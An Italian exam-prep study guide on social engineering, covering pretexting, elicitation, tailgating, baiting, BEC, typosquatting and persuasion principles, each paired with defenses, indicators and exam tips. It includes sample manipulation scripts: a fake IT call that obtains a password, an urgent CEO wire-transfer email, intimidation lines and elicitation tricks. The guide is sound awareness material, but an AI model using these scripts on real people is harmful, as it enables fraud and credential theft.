phishing mirato Vishing telefono VoIP caller ID falsificato Pretexting storia falsa credibile costruita con OSINT Exam Trap low-tech NON low risk no exploit solo conversazione regola universale mai dare password Social engineering: la pratica di usare tattiche sociali per ottenere informazioni su individui o organizzazioni. Spesso low-tech: non serve bucare un firewall se puoi convincere qualcuno a darti la password. L'obiettivo e' far fare alla vittima qualcosa che normalmente non farebbe, o farle rivelare informazioni che normalmente non rivelerebbe.\nTecniche principali:\nFlattery e conning: lusinga e raggiro. L'attaccante fa sentire la vittima speciale o competente per abbassarne le difese, poi costruisce una narrativa credibile per ottenere quello che vuole Authority assumption: assumere una posizione di autorita' (IT support, manager, funzionario) per far sembrare la richiesta legittima Impersonation: impersonare qualcuno — un tecnico autorizzato, un collega, un fornitore Tailgating: seguire da vicino personale autorizzato attraverso una porta di sicurezza senza fornire le proprie credenziali, sfruttando la cortesia delle persone. passi al tornello con quello davanti. Scenario concreto: data center con porta a badge. Un tecnico autorizzato entra. L'attaccante — magari vestito da corriere con uno scatolone in mano — dice \u0026quot;grazie\u0026quot; e passa insieme a lui. Nessuno ferma qualcuno con le mani occupate che sembra avere fretta. Shoulder surfing: guardare da sopra la spalla di qualcuno per vedere password, PIN o dati sullo schermo. Puo' avvenire di persona o tramite telecamera. Contromisura: screen filter Gli attacchi possono avvenire di persona, via telefono, via email (phishing) o su siti web.\nCaso esemplare — Catch Me If You Can: Frank Abagnale Jr. non hackerava sistemi — hackerava le persone. Imparava i segreti di una professione usando flattery e conning, costruiva credibilita', poi impersonava piloti e medici con documenti falsi. Stesso principio del social engineering moderno: prima la fiducia, poi l'attacco.\nScenario tipo — attacco telefonico:\nUn dipendente (Marco) riceve una chiamata da qualcuno che si presenta come IT interno:\n\u0026quot;Ciao Marco, ti ricordo che oggi aggiorniamo il tuo computer, sara' down per qualche ora.\u0026quot; \u0026quot;Non ne sapevo niente, ho un progetto urgente.\u0026quot; \u0026quot;Dovresti aver ricevuto la mail. Mi dispiace, devo completare gli ultimi aggiornamenti oggi.\u0026quot; \u0026quot;Non c'e' altro modo? Ho davvero bisogno del PC.\u0026quot; \u0026quot;Be'... si potrebbe fare via rete mentre lavori. Di solito non lo facciamo cosi' perche' serve la tua password.\u0026quot; \u0026quot;Se posso continuare a lavorare, fallo pure.\u0026quot; \u0026quot;Ok Marco, non dirlo a nessuno che lo sto facendo per te — dammi username e password e lo faccio via rete.\u0026quot;\nNessuna vulnerabilita' tecnica. Nessun exploit. Solo autorita' inventata, urgenza e un favore speciale. La contromisura: training ripetuto su un'unica regola — non dare mai la tua password a nessuno.\nGli attaccanti piu' abili non chiedono la password direttamente: fanno domande innocenti che si usano nei sistemi di reset password. Nome del primo cane, migliore amico d'infanzia, nome del primo capo. Con un po' di flattery, la vittima risponde volentieri senza capire cosa sta cedendo. Se quelle stesse informazioni sono su LinkedIn o Facebook, l'attaccante non deve nemmeno fare una telefonata.\nShoulder surfing — contromisura pratica: uno screen filter (filtro privacy) rende lo schermo illeggibile da angolazioni laterali — solo chi e' direttamente di fronte vede il contenuto. Utile in spazi pubblici, open space, aeroporti.\nPanoramica Comparativa # Quattro categorie: come si manipola psicologicamente, come ci si finge qualcun altro, come si agisce fisicamente, come si attacca via canale digitale.\nManipolazione Psicologica — Elicitation, Pretexting, Disinformation # mindmap root((Manipolazione Psicologica)) Elicitation Cosa estrae info senza chiedere conversazione apparentemente innocua Vettore telefono o di persona flattery e active listening Obiettivo scoprire info riservate senza che la vittima se ne accorga Pretexting Cosa storia falsa credibile come base costruita con OSINT preliminare Vettore telefono email o fisico Obiettivo far eseguire azione far rivelare informazioni Disinformation e Hoax Cosa informazioni false costruite ad arte hoax = bufala su virus inesistenti Vettore email o messaggi Obiettivo far fare azioni dannose cancellare file o modificare config Impersonazione — Impersonation, BEC, Brand Impersonation, Typosquatting # mindmap root((Impersonazione)) Impersonation Cosa fingersi tecnico o autorita identita fisica falsa Vettore fisico o telefono Obiettivo accesso fisico o credenziali BEC Cosa email da falso executive CEO CFO o board impersonati Vettore phishing o account compromesso ricerca OSINT sullo stile Obiettivo trasferimento denaro o dati urgenza e riservatezza come leva Brand Impersonation Cosa fingersi brand noto e fidato logo colori layout identici Vettore email o pagina fake Obiettivo credenziali o dati carta Typosquatting Cosa dominio con errore di battitura paypa1.com gogle.com Vettore barra indirizzi browser errore di digitazione Obiettivo reindirizzare su sito fake rubare credenziali al login Accesso Fisico — Tailgating, Shoulder Surfing, Dumpster Diving # mindmap root((Accesso Fisico)) Tailgating Cosa seguire chi entra senza badge sfrutta cortesia del dipendente Vettore porta di sicurezza o tornello Obiettivo accesso fisico non autorizzato Contromisura: mantrap vestibule Shoulder Surfing Cosa guardare lo schermo da vicino di persona o via telecamera Vettore open space aeroporto spazio pubblico Obiettivo rubare password PIN dati Contromisura: screen filter Dumpster Diving Cosa rovistare nei rifiuti fisici Vettore cassonetti aziendali Obiettivo documenti PII credenziali directory aziendale per whaling Contromisura: shredder Baiting Cosa USB infetta lasciata apposta sfrutta curiosita umana Vettore parcheggio lobby postazione condivisa Obiettivo esecuzione malware autorun Contromisura: policy no-USB disable autorun Attacchi Digitali — Phishing, Vishing, Smishing, Watering Hole # mindmap root((Attacchi Digitali)) Phishing Cosa email a rete larga impersona servizio noto Vettore email spoofed con link o allegato Obiettivo credenziali o malware Spear Phishing Cosa phishing mirato a individuo costruito con OSINT Vettore email con dettagli personali Obiettivo accesso account specifico Whaling Cosa spear phishing verso dirigenti massimo valore massimo rischio Vettore email da falso board o legal Obiettivo dati riservati o trasferimenti Vishing Cosa phishing via telefono o VoIP caller ID falsificato Vettore chiamata o segreteria automatica Obiettivo credenziali o dati finanziari Smishing Cosa phishing via SMS bypassa filtri email Vettore SMS con link o richiesta codice Obiettivo hijack 2FA o click su link Watering Hole Cosa compromette sito che il target visita attende che la preda venga da sola Vettore sito di terze parti con meno difese Obiettivo malware sulle vittime aggiramento difese dirette Infografica # Impersonation # L'attaccante si finge qualcun altro per convincere una persona autorizzata a rivelare informazioni o ad aprire un accesso. Obiettivo: far abbassare le difese facendo sembrare la richiesta legittima.\nEsempio classico: impersonare un tecnico di riparazione per accedere fisicamente a una server room o a un armadio telecomunicazioni. Una volta dentro, installare hardware malevolo — come un rogue access point — per catturare traffico e inviarlo all'esterno via wireless. La vittima non vede nulla di strano: era solo \u0026quot;il tecnico\u0026quot;.\nStessa tecnica via telefono: impersonare un'organizzazione legittima per ottenere informazioni. Contromisura: sistemi di verifica dell'identita' prima di fornire qualsiasi accesso o informazione.\nVettore fisico o telefonico — l'attaccante si presenta di persona o chiama fingendo di essere un tecnico, un fornitore o un dipendente autorizzato Causa assenza di verifica sistematica dell'identita' prima di concedere accesso fisico o informazioni Effetto voluto accesso fisico non autorizzato a aree riservate, installazione di hardware malevolo, raccolta di informazioni riservate Difesa badge obbligatorio visibile, procedure di verifica identita' per visitatori e tecnici, security awareness training Indicatore persone non identificate in aree riservate, hardware sconosciuto installato su rete o telecom, richieste di accesso fisico non programmate CIA Triad Confidentiality (Riservatezza) — raccolta di informazioni; Integrity (Integrita') se viene installato hardware malevolo che altera il traffico Scope singolo sistema o area fisica — l'accesso fisico consente di compromettere i sistemi raggiungibili nell'area Tailgating e Access Control Vestibule # Tailgating: una persona segue da vicino un'altra attraverso un accesso controllato senza fornire le proprie credenziali. Homer usa il badge, Francesca entra subito dopo senza usarlo. Francesca e' entrata per tailgating.\nFunziona perche' i dipendenti lo fanno per cortesia: invece di chiudere la porta in faccia a chi segue, la tengono aperta (piggybacking). E' comodo e sembra scortese non farlo. Ma bypassa completamente il controllo degli accessi — e chiunque puo' infilarsi dietro un dipendente legittimo.\nContromisura — Access Control Vestibule (mantrap): una stanza con due porte. Entri dalla prima (si chiude dietro di te), le tue credenziali vengono verificate nello spazio intermedio, solo allora la seconda si apre. Una persona alla volta — fisicamente impossibile fare tailgating. Puo' essere presidiata da guardie o automatizzata con badge/proximity card.\nAlternativa piu' semplice: tornello (come metro o stazione bus). Due persone non possono passare insieme fisicamente.\nVettore fisico — seguire un dipendente autorizzato attraverso una porta di sicurezza senza usare badge o credenziali proprie Causa cortesia sociale dei dipendenti che tengono la porta aperta; assenza di controlli fisici che impediscono il passaggio multiplo Effetto voluto accesso fisico non autorizzato all'edificio o ad aree riservate (server room, data center, uffici) Difesa access control vestibule (mantrap), tornelli che permettono un solo accesso per volta, security awareness training, guardie all'ingresso Indicatore presenza in aree riservate senza badge visibile, log di accesso con un badge usato per aprire la porta ma due persone fisicamente rilevate da telecamera CIA Triad Confidentiality (Riservatezza) e Integrity (Integrita') — l'accesso fisico non autorizzato consente di vedere, copiare o modificare dati e sistemi fisici Scope area fisica — l'attaccante ottiene accesso all'area protetta e a tutti i sistemi fisicamente accessibili al suo interno Dumpster Diving # Rovistare nel cassonetto (dumpster = cassonetto) per trovare informazioni nei documenti scartati. Le organizzazioni buttano via materiale che per un attaccante e' prezioso: vecchie directory aziendali con nomi, numeri e titoli delle persone chiave, documenti con PII o PHI, note con credenziali, estratti conto, richieste di carta di credito preapprovate.\nCon una vecchia directory aziendale un attaccante puo' costruire un attacco whaling contro i dirigenti o engineering sociale contro chiunque in azienda, sapendo gia' nomi reali, ruoli e contatti.\nContromisura: distruggi i documenti invece di buttarli — trituratore (shredder) o incenerimento. Qualsiasi documento con PII o PHI non va nel cassonetto intero.\nExam tip — policy language: se la domanda descrive una policy che \u0026quot;colloca i documenti cartacei in contenitori sicuri prima della distruzione\u0026quot; o \u0026quot;richiede che i documenti vengano depositati in appositi contenitori\u0026quot; → la minaccia che questa policy previene e' il dumpster diving. Non tailgating, non shoulder surfing — il contenitore sicuro serve esattamente a impedire che qualcuno rovisti nel materiale di scarto prima che venga distrutto.\nVettore fisico — cassonetti e contenitori di rifiuti aziendali accessibili dall'esterno o da aree non sorvegliate Causa documenti cartacei con informazioni sensibili gettati interi invece di essere distrutti Effetto voluto raccolta di informazioni per ricognizione: nomi, ruoli, contatti, credenziali, dati finanziari, struttura organizzativa Difesa trituratore (shredder) obbligatorio per documenti con PII, PHI o informazioni aziendali; contenitori di raccolta sicuri prima della distruzione Indicatore difficile da rilevare in tempo reale; emerge quando le informazioni raccolte vengono usate in attacchi successivi (whaling, pretexting mirato) CIA Triad Confidentiality (Riservatezza) — informazioni riservate escono dall'organizzazione tramite i rifiuti fisici Scope organizzazione — le informazioni raccolte possono essere usate per costruire attacchi contro tutta l'organizzazione Baiting # Baiting: il nome viene da to bait (adescare, usare un'esca) — stessa metafora della pesca: metti l'esca sull'amo e aspetti che il pesce abbocchi (takes the bait). Qui l'esca è la USB, il pesce è il dipendente curioso.\nLasciare supporti fisici infetti (USB drive, CD, schede SD) in luoghi dove le vittime probabilmente li troveranno — parcheggi, lobby, postazioni di lavoro condivise. La vittima trova il dispositivo, lo inserisce per curiosita', e il malware viene eseguito automaticamente.\nLa tecnica sfrutta la curiosita' umana: chi trova una USB etichettata \u0026quot;Stipendi Q4\u0026quot; o \u0026quot;Progetto Riservato\u0026quot; spesso la inserisce anche senza conoscerne la provenienza. Non serve convincere nessuno con parole — basta mettere il dispositivo nel posto giusto.\nDifferenza da Phishing: il phishing usa messaggi digitali per ingannare la vittima. Il baiting usa oggetti fisici come vettore. Entrambi sfruttano la curiosita' e l'assenza di sospetto — ma il baiting richiede presenza fisica nell'area target o nei dintorni.\nCaso documentato: un test di penetrazione condotto per il Department of Homeland Security (DHS USA) nel 2011 ha lasciato USB drive nei parcheggi di agenzie governative. Il 60% delle USB e' stato inserito; se l'USB aveva il logo di un'agenzia stampato sopra, la percentuale saliva al 90%.\nVettore fisico / removable device — USB, CD o altro media lasciato in luogo accessibile Causa curiosita' e assenza di policy chiare sul divieto di inserire dispositivi sconosciuti Effetto voluto esecuzione automatica di malware (autorun) o installazione da file sul dispositivo Difesa policy di divieto USB non autorizzati, disable autorun su tutti i sistemi, DLP endpoint, security awareness training Indicatore connessioni USB anomale nei log, autorun event inusuali, traffico di rete dopo inserimento dispositivo CIA Triad Confidentiality (esfiltrazione dati) e Integrity (malware installato modifica il sistema) Scope singolo endpoint inizialmente, poi si espande via malware se si propaga sulla rete Note Exam trap: Baiting NON e' Phishing. Phishing = canale digitale (email/SMS). Baiting = oggetto fisico lasciato apposta. La domanda dice \u0026quot;USB infetta trovata nel parcheggio\u0026quot; → Baiting, non Phishing.\nDisinformation e Hoax # Disinformation: informazioni false create deliberatamente per influenzare il comportamento della vittima. Non e' un errore — e' costruita apposta. L'attaccante non deve hackerare nulla: basta far credere alla vittima qualcosa di falso per farle fare qualcosa di dannoso.\nHoax (bufala): forma concreta di disinformation. Un messaggio — spesso via email — che avverte di un virus o minaccia imminente che non esiste. La vittima viene incoraggiata a cancellare file di sistema o modificare configurazioni per \u0026quot;proteggersi\u0026quot;. Se segue le istruzioni, si danneggia da sola.\nUn hoax ben costruito puo' essere dannoso quanto un malware reale. Effetti concreti:\nUtenti che cancellano file critici rendendo il sistema inutilizzabile Help desk sommerso di chiamate inutili Utenti che chiamano il supporto dopo aver rotto qualcosa seguendo le istruzioni della bufala Esempio reale: email che avvisano \u0026quot;un hacker ha preso il controllo del tuo PC tramite webcam e ha registrato video compromettenti — paga o li pubblico\u0026quot;. E' quasi sempre un hoax. L'attaccante non ha nessun video: spera che la vittima si spaventi e paghi. Gibson stesso racconta di averle ricevute — con la webcam sempre coperta, non aveva nulla da temere.\nVettore messaggio — email, SMS o post sui social con false istruzioni o false minacce Causa mancanza di formazione sulla verifica delle informazioni prima di agire; risposta emotiva a minacce percepite Effetto voluto far eseguire azioni dannose alla vittima (cancellare file, modificare config) o estorcere denaro con false minacce Difesa security awareness training, canali ufficiali per verifica degli avvisi, cultura della verifica prima di agire su richieste urgenti Indicatore messaggi con tono urgente o minaccioso che richiedono azioni immediate su sistema, richieste di pagamento per minacce non verificabili CIA Triad Integrity (Integrita') e Availability (Disponibilita') — la vittima che segue le istruzioni del hoax puo' cancellare file critici o rendere il sistema inutilizzabile Scope singolo utente — l'attacco mira alla psicologia dell'individuo; il danno e' limitato al sistema dell'utente ingannato, ma l'impatto sull'help desk e' organizzativo Elicitation — Estrazione di Informazioni # Elicitation (estrazione): ottenere informazioni senza chiedere direttamente. Il social engineer usa una conversazione apparentemente innocua per far parlare la vittima senza che si renda conto di stare cedendo informazioni utili.\nIl processo tipico: prima costruire fiducia e rapport con flattery o incoraggiando la vittima a vantarsi delle proprie competenze. Poi usare tecniche per far continuare il discorso:\nActive listening: dare piena attenzione quando la vittima parla. Le persone sono abituate a essere ignorate — qualcuno che ascolta davvero le incoraggia a continuare a parlare. Reflective questioning: ripetere un'affermazione come domanda per incoraggiare l'approfondimento. Vittima: \u0026quot;il sistema ha bloccato la mia email.\u0026quot; Attaccante: \u0026quot;Non riuscivi nemmeno a mandare la mail?\u0026quot; False statements: dire una cosa sbagliata sperando che la vittima corregga. \u0026quot;Ho sentito che i dipendenti non possono visitare nessun sito non governativo, nemmeno Amazon.\u0026quot; Se la vittima sa la verita', la corregge e rivela come funziona davvero il sistema. Bracketing: citare un numero specifico o un range sperando che la vittima fornisca quello esatto. \u0026quot;Ho sentito che hanno una dozzina di telecamere solo nell'atrio.\u0026quot; Se la vittima sa il numero reale, tende a correggerlo. Le stesse tecniche le usano venditori, avvocati e agenzie di intelligence — il social engineer le applica a scopo malevolo.\nExam tip — Elicitation vs Vishing: entrambi usano la voce/telefono, ma l'obiettivo e' diverso.\nVishing: mira a credenziali, dati finanziari, codici OTP — la vittima viene ingannata a cedere accesso diretto Elicitation: mira a informazioni operative — \u0026quot;che OS usate?\u0026quot;, \u0026quot;quante telecamere avete?\u0026quot;, \u0026quot;chi e' il responsabile IT?\u0026quot; — la vittima non si rende conto di stare cedendo dati utili per la ricognizione Se la domanda descrive una chiamata da un \u0026quot;fornitore\u0026quot; o \u0026quot;tecnico\u0026quot; che chiede dettagli sulla configurazione del sistema = elicitation. Se chiede password, PIN o codici = vishing.\nVettore conversazione — telefono, di persona, email informale; qualsiasi canale che permette dialogo bidirezionale Causa tendenza naturale delle persone a rispondere a domande in conversazione; mancanza di consapevolezza su cosa costituisce informazione sensibile Effetto voluto raccolta di informazioni operative per ricognizione: struttura IT, tecnologie usate, nomi di persone chiave, procedure interne Difesa training su classificazione delle informazioni, policy su cosa non condividere con sconosciuti, cultura della verifica Indicatore difficile da rilevare in tempo reale; conversazioni con domande tecniche apparentemente innocue da parte di persone non identificate CIA Triad Confidentiality (Riservatezza) — informazioni operative riservate vengono cedute inconsapevolmente Scope singolo utente — l'attaccante interagisce con individui specifici per raccogliere informazioni che poi usa in attacchi piu' ampi sull'organizzazione Pretexting # Pretexting: inventare una storia credibile (il \u0026quot;pretext\u0026quot;) per manipolare la vittima a fornire informazioni o garantire accesso. La chiave e' la credibilita' della storia — costruita con ricerca preliminare sul target (profili social, documenti trovati con dumpster diving, OSINT).\nEsempio classico: attaccante che si finge tecnico IT e contatta un dipendente dicendo che c'e' un problema urgente con il suo account. Chiede le credenziali per \u0026quot;risolvere\u0026quot;. Oppure: impersonare un fornitore o appaltatore e richiedere accesso fisico a un data center per \u0026quot;manutenzione\u0026quot;.\nIl pretexting e' la struttura narrativa che sorregge molti altri attacchi di social engineering — impersonation, elicitation, BEC spesso usano un pretext come base.\nRisposta corretta a un attacco pretexting via telefono (domanda tipo esame: \u0026quot;what should the administrator do?\u0026quot;):\nNon fornire nessuna informazione durante la chiamata in entrata, indipendentemente da quanto la storia sembri credibile Non chiedere il numero di telefono del chiamante per richiamarlo — puo' fornire un numero falso Terminare la chiamata e verificare l'identita' chiamando il numero ufficiale del presunto mittente (mai il numero fornito durante la chiamata) Escalation al security team interno Contattare le forze dell'ordine NON e' la risposta giusta come primo step — e' una risposta sproporzionata per una singola chiamata sospetta. La procedura corretta e' interna: verifica + escalation.\nVettore conversazione — telefono, di persona, email; il pretext e' la storia costruita che da' credibilita' alla richiesta Causa storia credibile costruita con OSINT o dumpster diving; vittima che non verifica l'identita' del chiamante tramite canali ufficiali Effetto voluto ottenere credenziali, accesso fisico, trasferimento di dati o azioni specifiche da parte della vittima Difesa policy di verifica identita' sempre tramite canali ufficiali (non il numero fornito dal chiamante), training su procedure di escalation Indicatore richieste urgenti di credenziali o accesso da \u0026quot;tecnici\u0026quot; o \u0026quot;fornitori\u0026quot; non programmati, chiamate in entrata con identita' non verificabile CIA Triad Confidentiality (Riservatezza) — credenziali e informazioni riservate cedute; l'impatto dipende da cosa viene ottenuto con il pretext Scope singolo utente come entry point — ma l'obiettivo finale e' spesso l'intera organizzazione; il pretext e' il primo passo di un attacco piu' ampio Watering Hole Attack # Watering hole (abbeveratoio): compromettere un sito web che il gruppo target visita normalmente, aspettando che le vittime vengano da sole. Il nome viene dalla savana: il leone non insegue la preda — aspetta nascosto vicino all'abbeveratoio dove sa che la preda dovra' venire a bere.\nLogica dell'attacco: se il target diretto e' troppo difeso per attaccarlo frontalmente, l'attaccante trova un sito di cui il target si fida e che ha meno sicurezza, lo compromette, e aspetta.\nEsempio: gli attaccanti vogliono entrare nella rete di una centrale nucleare. La centrale ha sicurezza forte, gli attacchi diretti falliscono. Scoprono pero' che i dipendenti visitano abitualmente il sito della squadra di baseball locale — sito con sicurezza minima. Installano malware sul sito del baseball. Quando i dipendenti lo visitano durante la pausa pranzo, il malware tenta di installarsi sui loro sistemi. La catena: baseball → dipendente → PC aziendale → rete della centrale.\nPerche' ha una classificazione propria: non e' phishing (non contatta la vittima direttamente), non e' supply chain (non compromette un fornitore del target), non e' malvertising. E' una categoria distinta: attacco indiretto tramite un sito di fiducia del target. Spesso usa zero-day per massimizzare le probabilita' di infezione. Associato agli APT per attacchi ad alto profilo.\nVettore web — sito di terze parti con sicurezza bassa compromesso dall'attaccante, visitato abitualmente dal gruppo target Causa il target e' troppo protetto per attacchi diretti; i siti che i dipendenti visitano hanno sicurezza minima Effetto voluto installazione di malware sui sistemi dei dipendenti quando visitano il sito compromesso, poi lateral movement alla rete aziendale Difesa web filtering, browser aggiornato, patch di plugin e browser, endpoint protection con rilevamento comportamentale, monitoring del traffico web Indicatore drive-by download rilevato da endpoint protection dopo visita a sito apparentemente legittimo, connessioni verso C2 dopo navigazione normale CIA Triad Confidentiality (Riservatezza) e Integrity (Integrita') — dipende dal malware installato; il watering hole e' il vettore di consegna, non il payload Scope organizzazione — tutti i dipendenti che visitano il sito compromesso sono potenzialmente infetti; usato da APT per attacchi ad alto profilo Business Email Compromise (BEC) # Attacco mirato che sfrutta l'autorita' e la fiducia di dirigenti o personale chiave. L'attaccante impersona un CEO, CFO o altro executive tramite phishing, spoofing o compromissione reale dell'account email, poi richiede azioni urgenti — tipicamente trasferimenti di denaro o dati riservati.\nBEC funziona perche': l'attaccante fa ricerca approfondita sull'azienda, sui suoi processi e sullo stile comunicativo del dirigente impersonato. Il messaggio arriva urgente, da un indirizzo che sembra reale, con un tono familiare. Il destinatario (spesso finance) non verifica perche' sembra una richiesta normale del capo.\nScenario tipo: email al responsabile finance che sembra arrivare dal CEO — \u0026quot;Devo chiudere un'acquisizione urgente e riservata, trasferisci subito 150.000€ su questo conto, non ne parlare con nessuno fino a lunedi'.\u0026quot; L'urgenza, la riservatezza e l'autorita' combinati portano molti a eseguire senza verificare.\nMitigazioni: strong email security, training su riconoscimento BEC, procedure di verifica out-of-band per trasferimenti sopra soglia (telefonare al dirigente su numero noto, non su quello nella mail), MFA sugli account email.\nVettore email — account email dell'executive compromesso via phishing, oppure spoofing del dominio con indirizzo visivamente simile Causa mancanza di verifica out-of-band per richieste urgenti di trasferimento; MFA assente sull'account email del dirigente Effetto voluto trasferimento di denaro verso conti dell'attaccante, esfiltrazione di dati riservati (buste paga, W-2, PII dipendenti) Difesa MFA su tutti gli account email dei dirigenti, procedure di verifica telefonica per trasferimenti sopra soglia, DMARC/DKIM/SPF per prevenire spoofing Indicatore richiesta urgente e riservata di trasferimento via email da un executive, email da dominio simile ma non identico al dominio aziendale CIA Triad Confidentiality (Riservatezza) — dati riservati esfiltrati; Availability (Disponibilita') e Integrity (Integrita') indirette tramite perdita finanziaria Scope organizzazione — attacco mirato a personale finance o HR con autorita' di trasferimento; l'impatto finanziario puo' essere milioni di dollari Brand Impersonation e Typosquatting # Brand impersonation (impersonazione di brand): l'attaccante si finge un'azienda conosciuta e fidata — usa logo, colori, layout e domini simili per creare un falso senso di legittimita'. L'obiettivo: far inserire alla vittima credenziali, dati carta di credito o informazioni personali su una pagina che sembra quella vera.\nEsempi: email fake da Apple che dice \u0026quot;il tuo account e' stato compromesso — accedi subito per verificare\u0026quot; con link a pagina identica ad apple.com. Oppure messaggio fake da una banca che chiede di \u0026quot;verificare i dati\u0026quot; per sicurezza.\nTyposquatting (dirottamento tramite errore di digitazione): registrare domini con errori tipici di battitura che gli utenti fanno quando digitano l'URL di un sito noto. Chi sbaglia finisce su un sito identico all'originale ma controllato dall'attaccante.\nVarianti comuni:\nCarattere simile: paypa1.com (L minuscola → 1) invece di paypal.com Lettera mancante: gogle.com invece di google.com Lettera in piu': gooogle.com TLD sbagliato: amazon.co invece di amazon.com Trasposizione: amaozn.com Il typosquatting sfrutta l'abitudine di digitare direttamente nella barra dell'indirizzo invece di usare i bookmark. E' classico contro siti ad alto traffico come paypal.com, amazon.com, gmail.com.\nExam tip — Typosquatting vs Pharming vs DNS Poisoning: tre attacchi diversi che portano tutti l'utente su un sito falso.\nAttacco Meccanismo Chi controlla cosa Typosquatting L'utente digita un URL sbagliato L'attaccante registra un dominio diverso (paypa1.com) Pharming L'utente digita l'URL giusto ma viene reindirizzato L'attaccante modifica il file hosts o il DNS locale della vittima DNS Poisoning Il server DNS restituisce un IP falso per un dominio legittimo L'attaccante corrompe la cache di un DNS resolver condiviso — colpisce tutti gli utenti che usano quel resolver Discriminante rapido: se la domanda dice \u0026quot;l'utente ha digitato l'URL corretto ma e' finito su un sito falso\u0026quot; → pharming o DNS poisoning. Se dice \u0026quot;l'utente ha digitato un URL simile ma sbagliato\u0026quot; → typosquatting.\nVettore web/email — pagina clone inviata via phishing o dominio con errore di battitura registrato dall'attaccante Causa fiducia nell'aspetto visivo di una pagina; abitudine di digitare URL direttamente nella barra del browser Effetto voluto raccolta di credenziali o dati di pagamento su pagina clone, installazione di malware via drive-by download Difesa bookmark per siti ad alto rischio (banca, email), controllo della barra degli indirizzi, certificati SSL con Extended Validation, password manager che non compila su domini non corrispondenti Indicatore URL con caratteri simili ma diversi (1 al posto di l), TLD diverso, certificato SSL di un dominio diverso da quello atteso CIA Triad Confidentiality (Riservatezza) — credenziali e dati di pagamento rubati tramite pagina clone Scope singolo utente — ogni vittima che finisce sul sito falso cede le proprie credenziali; l'impatto scala col traffico verso il dominio fake Principi Psicologici del Social Engineering # mindmap root((PRINCIPI PSICOLOGICI)) Pressione Esterna Authority obbedire a figure autorevoli Milgram experiment efficace con vishing whaling Intimidation bullying combinato con impersonation urgency come leva receptionist scenario Conformita Sociale Consensus fare cio che gli altri fanno social proof efficace con Trojan e hoax Familiarity simpatia abbassa le difese tailgating shoulder surfing Trust fiducia costruita nel tempo investimento alto ritorno alto Urgenza e Scarsita Scarcity risorsa limitata decide rapido phishing link esclusivi comprime tempo di riflessione Urgency agire subito timer countdown ransomware 72 ore phishing prezzo scade Exam Trap principi si combinano scarcity plus urgency comune authority plus intimidation combo riconoscere la tecnica la interrompe I social engineer usano uno o piu' principi psicologici per rendere gli attacchi piu' efficaci. Conoscerli riduce la probabilita' di essere ingannati — riconoscere la tecnica interrompe il meccanismo.\nAuthority # Molte persone sono cresciute rispettando l'autorita' e sono piu' inclini a obbedire quando una figura autorevole da' un ordine. Il caso piu' documentato e' il Milgram Experiment: volontari continuavano a somministrare scosse elettriche a soggetti che urlavano di dolore semplicemente perche' un uomo in camice bianco diceva di continuare. Le scosse erano false, le urla registrate — ma la situazione sembrava reale. Esperimento replicato piu' volte con risultati simili.\nAuthority e' piu' efficace in questi contesti:\nImpersonation: impersonare Microsoft, IRS o altro ente governativo al telefono. Oppure impersonare un executive interno o un tecnico autorizzato. La vittima obbedisce perche' la fonte sembra legittima. Whaling: i dirigenti rispettano le entita' legali. Molti attacchi whaling inviano file malevoli come allegati presentandoli come citazioni in giudizio o subpoena — e incoraggiano l'esecutivo ad aprirli immediatamente. Vishing: al telefono e' piu' facile costruire l'illusione di autorita'. La voce, il tono, il numero visualizzato (caller ID falsificato) contribuiscono tutti. Intimidation # In alcuni casi l'attaccante tenta di intimidire la vittima per farla agire. L'intimidazione usa tattiche di bullying ed e' spesso combinata con l'impersonazione. E' piu' efficace con impersonation e vishing.\nEsempio concreto: un social engineer chiama la receptionist di un executive dicendo \u0026quot;Mr. Simpson sta per fare una presentazione importante a potenziali clienti, ma i suoi file sono corrotti. Mi ha detto di chiamarti per farti mandare i file subito.\u0026quot; Se la receptionist rifiuta, scatta la pressione: \u0026quot;Se vuoi essere responsabile del fallimento di una vendita da un milione di dollari, fai pure. Gli diro' che non vuoi aiutare.\u0026quot; Questa tattica combina intimidazione con urgency: la receptionist non ha tempo per riflettere o verificare.\nConsensus # Le persone tendono a fare cose che altri stanno gia' facendo. Alcuni attaccanti sfruttano questo creando siti con testimonianze false per promuovere un prodotto malevolo. Esempio: criminali hanno creato piu' siti con decine di testimonianze sui benefici di un finto antivirus. Se l'utente cerca online prima di scaricarlo, trova questi siti e crede che persone reali lo stiano raccomandando.\nConsensus (detto anche social proof) e' piu' efficace con Trojan e hoax. Le vittime installano piu' facilmente un Trojan se \u0026quot;tutti sembrano dire che e' sicuro\u0026quot;. Similmente, se una persona sospetta che un avviso virus sia un hoax ma \u0026quot;tutti sembrano dire che e' reale\u0026quot;, e' piu' facile che venga ingannata.\nScarcity # Le persone tendono ad agire quando credono che una risorsa sia limitata. Esempio fuori dal security: quando Apple rilascia un nuovo iPhone, si esaurisce rapidamente — e quella scarsita' percepita spinge all'acquisto impulsivo. In un'email di phishing: un link per \u0026quot;accesso esclusivo a un prodotto in quantita' limitata\u0026quot; sfrutta esattamente questo meccanismo. Se l'utente clicca senza pensare, finisce su un sito malevolo.\nScarcity e' piu' efficace con phishing e Trojan. La caratteristica chiave: la vittima prende una decisione rapida senza valutarla — il senso di limitatezza comprime il tempo di riflessione.\nUrgency # Alcuni attacchi creano urgenza per spingere la vittima ad agire immediatamente. Il caso piu' concreto e' il ransomware: mostra un countdown timer — tipicamente 72 ore per pagare prima che i dati vengano distrutti. Ogni volta che la vittima guarda lo schermo vede il timer scorrere. La scarsita' (i tuoi dati stanno per sparire) e l'urgenza (hai x ore) si combinano.\nUrgency e' piu' efficace con ransomware, phishing, vishing e whaling. Email di phishing con link malevoli indicano che il prezzo speciale scade tra ore. Agli executive viene fatto credere che una citazione in giudizio richieda azione immediata.\nNota exam: molti principi si sovrappongono e si usano insieme. Scarcity + urgency e' la combinazione piu' comune. Authority + intimidation e' un'altra. Il social engineer non ne usa uno solo — costruisce uno scenario che ne attiva piu' d'uno simultaneamente.\nFamiliarity # Se ti piace qualcuno, sei piu' disposto a fare cio' che ti chiede. Per questo le grandi aziende assumono celebrity per pubblicizzare prodotti — e le licenziano quando la celebrity finisce in uno scandalo che ne distrugge la credibilita'.\nAlcuni social engineer costruiscono rapport con la vittima prima di lanciare l'attacco. Il principio e' piu' efficace in questi contesti:\nShoulder surfing: le persone accettano molto piu' facilmente che qualcuno guardi il loro schermo se lo conoscono o se gli piace. Con uno sconosciuto, scatta immediatamente l'allarme. Tailgating: le persone tengono la porta aperta a qualcuno che conoscono o che gli e' simpatico con molta piu' facilita'. Un sorriso disarmante e' sufficiente a far abbassare le difese. Trust # Oltre alla familiarita', alcuni social engineer costruiscono una relazione di fiducia con la vittima nel tempo. Richiede piu' investimento, ma il ritorno per l'attaccante puo' valerne la pena. Vishing e' il vettore 